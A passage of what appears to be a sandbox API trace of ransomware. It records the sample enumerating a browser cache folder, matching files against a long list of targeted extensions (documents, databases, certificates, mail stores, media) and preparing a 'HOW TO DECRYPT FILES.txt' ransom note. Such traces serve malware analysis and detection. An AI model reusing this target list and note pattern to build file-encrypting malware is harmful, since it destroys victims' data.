HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.tar") returned 0 [0082.590] lstrlenA (lpString="*.tar") returned 5 [0082.590] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.bz2") returned 0 [0082.590] lstrlenA (lpString="*.bz2") returned 5 [0082.590] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.gz") returned 0 [0082.590] lstrlenA (lpString="*.gz") returned 4 [0082.590] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.mkv") returned 0 [0082.590] lstrlenA (lpString="*.mkv") returned 5 [0082.590] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.eml") returned 0 [0082.590] lstrlenA (lpString="*.eml") returned 5 [0082.590] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.msg") returned 0 [0082.590] lstrlenA (lpString="*.msg") returned 5 [0082.590] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.edb") returned 0 [0082.590] lstrlenA (lpString="*.edb") returned 5 [0082.590] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.accdb") returned 0 [0082.590] lstrlenA (lpString="*.accdb") returned 7 [0082.590] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.odb") returned 0 [0082.590] lstrlenA (lpString="*.odb") returned 5 [0082.590] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.java") returned 0 [0082.590] lstrlenA (lpString="*.java") returned 6 [0082.590] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.asm") returned 0 [0082.590] lstrlenA (lpString="*.asm") returned 5 [0082.591] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.pfx") returned 0 [0082.591] lstrlenA (lpString="*.pfx") returned 5 [0082.591] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.pem") returned 0 [0082.591] lstrlenA (lpString="*.pem") returned 5 [0082.591] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.p12") returned 0 [0082.591] lstrlenA (lpString="*.p12") returned 5 [0082.591] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.gpg") returned 0 [0082.591] lstrlenA (lpString="*.gpg") returned 5 [0082.591] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.vsd") returned 0 [0082.591] lstrlenA (lpString="*.vsd") returned 5 [0082.591] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.odg") returned 0 [0082.591] lstrlenA (lpString="*.odg") returned 5 [0082.591] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.raw") returned 0 [0082.591] lstrlenA (lpString="*.raw") returned 5 [0082.591] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.nef") returned 0 [0082.591] lstrlenA (lpString="*.nef") returned 5 [0082.591] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.svg") returned 0 [0082.591] lstrlenA (lpString="*.svg") returned 5 [0082.591] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.psd") returned 0 [0082.591] lstrlenA (lpString="*.psd") returned 5 [0082.591] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.vmx") returned 0 [0082.591] lstrlenA (lpString="*.vmx") returned 5 [0082.591] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.vmdk") returned 0 [0082.592] lstrlenA (lpString="*.vmdk") returned 6 [0082.592] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.vdi") returned 0 [0082.592] lstrlenA (lpString="*.vdi") returned 5 [0082.592] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.lay6") returned 0 [0082.592] lstrlenA (lpString="*.lay6") returned 6 [0082.592] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.mpeg") returned 0 [0082.592] lstrlenA (lpString="*.mpeg") returned 6 [0082.592] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.djvu") returned 0 [0082.592] lstrlenA (lpString="*.djvu") returned 6 [0082.592] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.tiff") returned 0 [0082.592] lstrlenA (lpString="*.tiff") returned 6 [0082.592] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.backup") returned 0 [0082.592] lstrlenA (lpString="*.backup") returned 8 [0082.592] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.pdf") returned 0 [0082.592] lstrlenA (lpString="*.pdf") returned 5 [0082.592] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.cert") returned 0 [0082.592] lstrlenA (lpString="*.cert") returned 6 [0082.592] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.docm") returned 0 [0082.592] lstrlenA (lpString="*.docm") returned 6 [0082.592] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.xlsm") returned 0 [0082.592] lstrlenA (lpString="*.xlsm") returned 6 [0082.592] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.dwg") returned 0 [0082.592] lstrlenA (lpString="*.dwg") returned 5 [0082.593] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.nd") returned 0 [0082.593] lstrlenA (lpString="*.nd") returned 4 [0082.593] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.tlg") returned 0 [0082.593] lstrlenA (lpString="*.tlg") returned 5 [0082.593] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.lgb") returned 0 [0082.593] lstrlenA (lpString="*.lgb") returned 5 [0082.593] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.mov") returned 0 [0082.593] lstrlenA (lpString="*.mov") returned 5 [0082.593] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.xdw") returned 0 [0082.593] lstrlenA (lpString="*.xdw") returned 5 [0082.593] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.ods") returned 0 [0082.593] lstrlenA (lpString="*.ods") returned 5 [0082.593] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.wav") returned 0 [0082.593] lstrlenA (lpString="*.wav") returned 5 [0082.593] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.mp3") returned 0 [0082.593] lstrlenA (lpString="*.mp3") returned 5 [0082.593] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.aiff") returned 0 [0082.593] lstrlenA (lpString="*.aiff") returned 6 [0082.593] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.flac") returned 0 [0082.593] lstrlenA (lpString="*.flac") returned 6 [0082.593] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.m4a") returned 0 [0082.593] lstrlenA (lpString="*.m4a") returned 5 [0082.593] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js", pszSpec="*.csv") returned 0 [0082.593] lstrlenA (lpString="*.csv") returned 5 [0082.593] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5386c470, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5386c470, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5386c470, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x2dd5, dwReserved0=0x730065, dwReserved1=0x4c005c, cFileName="v2[1]", cAlternateFileName="V2_1_~1")) returned 1 [0082.594] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0082.594] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="v2[1]") returned -1 [0082.594] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="v2[1]") returned -1 [0082.594] lstrcmpiA (lpString1="", lpString2="v2[1]") returned -1 [0082.594] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\uhf-main.var.min[1].js") returned="uhf-main.var.min[1].js" [0082.594] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\" [0082.594] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\") returned="" [0082.594] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\HOW TO DECRYPT FILES.txt" [0082.594] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\how to decrypt files.txt")) returned 0x2020 [0082.594] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\", lpString2="v2[1]" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]" [0082.594] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.ems") returned 0 [0082.594] lstrlenA (lpString="*.ems") returned 5 [0082.594] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.db") returned 0 [0082.594] lstrlenA (lpString="*.db") returned 4 [0082.594] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.dbf") returned 0 [0082.594] lstrlenA (lpString="*.dbf") returned 5 [0082.594] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.myox") returned 0 [0082.594] lstrlenA (lpString="*.myox") returned 6 [0082.594] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.myo") returned 0 [0082.594] lstrlenA (lpString="*.myo") returned 5 [0082.594] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.qbw") returned 0 [0082.595] lstrlenA (lpString="*.qbw") returned 5 [0082.595] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.qbb") returned 0 [0082.595] lstrlenA (lpString="*.qbb") returned 5 [0082.595] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.qbm") returned 0 [0082.595] lstrlenA (lpString="*.qbm") returned 5 [0082.595] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.qbo") returned 0 [0082.595] lstrlenA (lpString="*.qbo") returned 5 [0082.595] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.qbx") returned 0 [0082.595] lstrlenA (lpString="*.qbx") returned 5 [0082.595] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.qba") returned 0 [0082.595] lstrlenA (lpString="*.qba") returned 5 [0082.595] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.qby") returned 0 [0082.595] lstrlenA (lpString="*.qby") returned 5 [0082.595] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.qbj") returned 0 [0082.595] lstrlenA (lpString="*.qbj") returned 5 [0082.595] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.ofx") returned 0 [0082.595] lstrlenA (lpString="*.ofx") returned 5 [0082.595] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.qif") returned 0 [0082.595] lstrlenA (lpString="*.qif") returned 5 [0082.595] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.mye") returned 0 [0082.595] lstrlenA (lpString="*.mye") returned 5 [0082.595] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.mbox") returned 0 [0082.595] lstrlenA (lpString="*.mbox") returned 6 [0082.595] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.eml") returned 0 [0082.595] lstrlenA (lpString="*.eml") returned 5 [0082.595] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.pst") returned 0 [0082.595] lstrlenA (lpString="*.pst") returned 5 [0082.596] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.ost") returned 0 [0082.596] lstrlenA (lpString="*.ost") returned 5 [0082.596] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.idx") returned 0 [0082.596] lstrlenA (lpString="*.idx") returned 5 [0082.596] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.dbx") returned 0 [0082.596] lstrlenA (lpString="*.dbx") returned 5 [0082.596] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.sql") returned 0 [0082.596] lstrlenA (lpString="*.sql") returned 5 [0082.596] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.mdb") returned 0 [0082.596] lstrlenA (lpString="*.mdb") returned 5 [0082.596] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.fdb") returned 0 [0082.596] lstrlenA (lpString="*.fdb") returned 5 [0082.596] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.wab") returned 0 [0082.596] lstrlenA (lpString="*.wab") returned 5 [0082.596] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.dat") returned 0 [0082.596] lstrlenA (lpString="*.dat") returned 5 [0082.596] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.txt") returned 0 [0082.596] lstrlenA (lpString="*.txt") returned 5 [0082.596] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.jpeg") returned 0 [0082.596] lstrlenA (lpString="*.jpeg") returned 6 [0082.596] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.jpg") returned 0 [0082.596] lstrlenA (lpString="*.jpg") returned 5 [0082.596] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.png") returned 0 [0082.596] lstrlenA (lpString="*.png") returned 5 [0082.596] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.php") returned 0 [0082.596] lstrlenA (lpString="*.php") returned 5 [0082.597] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.cs") returned 0 [0082.597] lstrlenA (lpString="*.cs") returned 4 [0082.597] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.cpp") returned 0 [0082.597] lstrlenA (lpString="*.cpp") returned 5 [0082.597] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.rar") returned 0 [0082.597] lstrlenA (lpString="*.rar") returned 5 [0082.597] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\v2[1]", pszSpec="*.zip") returned 0 [0082.597] lstrlenA (lpString="*.zip") returned 5 [0082.597] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS 